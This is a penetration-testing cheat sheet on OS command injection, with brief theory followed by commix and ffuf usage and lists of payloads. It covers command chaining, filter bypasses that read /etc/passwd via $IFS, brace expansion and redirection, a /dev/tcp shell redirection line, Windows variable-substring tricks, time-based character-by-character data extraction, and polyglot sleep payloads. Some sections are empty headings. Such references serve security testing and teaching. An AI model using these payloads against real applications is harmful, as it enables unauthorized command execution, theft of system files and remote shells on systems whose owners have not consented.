Command Injection

Theory

Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell.

In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.

Practice

Tools

commix

Commix (python) is a tool that automate Command Injection detection and exploitation.

# With a request file
## Batch : do not ask for questions
## --os : specify OS if known
## -r : request file
commix -r request.req --batch --os=Unix

# Retreive all
# --all : Retrieve everything
# -u : Target URL
commix -u <TARGET_URL> --all

Fuzzing

We have to identify input vectors that may not be properly sanitized in GET and POST parameters. For this, we may fuzz parameters with following wordlists and tools.

Ffuf

We can use ffuf and the command-injection-commix or command_injection wordlists.

#Example
ffuf -u http://example.org?vuln=paramFUZZ -w /usr/share/seclists/Fuzzing/command-injection-commix -fs 990

Payloads

In Unix-like command-line interfaces, the -- symbol is used to signify the end of command options. After --, all arguments are treated as filenames and arguments, and not as options.

We should try following payloads in input fields

#Exemple
http://example.org?vuln=param;sleep+5

Windows & UNIX-Like

Following payloads are both Unix and Windows supported

• ; (Semicolon): Allows you to execute multiple commands sequentially.

• && (AND): Execute the second command only if the first command succeeds (returns a zero exit status).

• || (OR): Execute the second command only if the first command fails (returns a non-zero exit status).

• & (Background): Execute the command in the background, allowing the user to continue using the shell.

• | (Pipe): Takes the output of the first command and uses it as the input for the second command.

command1; command2   # Execute command1 and then command2
command1 && command2 # Execute command2 only if command1 succeeds
command1 || command2 # Execute command2 only if command1 fails
command1 & command2  # Execute command1 in the background
command1 | command2  # Pipe the output of command1 into command2
command1 %0A command2 # %0A (linefeed) Execute both (RECOMMENDED)

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

UNIX-like

Filter Bypass

Without Space

IFS

$IFS is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret $IFS as a space. $IFS does not directly work as a seperator in commands like ls, wget; use ${IFS} instead.

cat${IFS}/etc/passwd
ls${IFS}-la

Brace expansion

In some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments.

{cat,/etc/passwd}

Redirection

Input redirection. The < character tells the shell to read the contents of the file specified.

cat</etc/passwd
sh</dev/tcp/127.0.0.1/4242

ANSI-C Quoting

X=$'uname\x20-a'&&$X

Tab character

The tab character can sometimes be used as an alternative to spaces. In ASCII, the tab character is represented by the hexadecimal value 09.

;ls%09-al%09/home

Windows Operations

In Windows, %VARIABLE:~start,length% is a syntax used for substring operations on environment variables.

ping%CommonProgramFiles:~10,-18%127.0.0.1
ping%PROGRAMFILES:~10,-5%127.0.0.1

Line Return

Hex encoding

Characters Filter

Blacklisted words

Data Exfiltration

Time based

We may extract data char by char

swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based

Polyglot command injection

A polyglot is a piece of code that is valid and executable in multiple programming languages or environments simultaneously. When we talk about "polyglot command injection," we're referring to an injection payload that can be executed in multiple contexts or environments.

Example 1

Payload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

# Context inside commands with single and double quote:
echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

Example 2

Resources

Command Injection | OWASP Foundationowasp.org

What is OS command injection, and how to prevent it? | Web Security AcademyWebSecAcademy

PayloadsAllTheThings/Command Injection at master · swisskyrepo/PayloadsAllTheThingsGitHub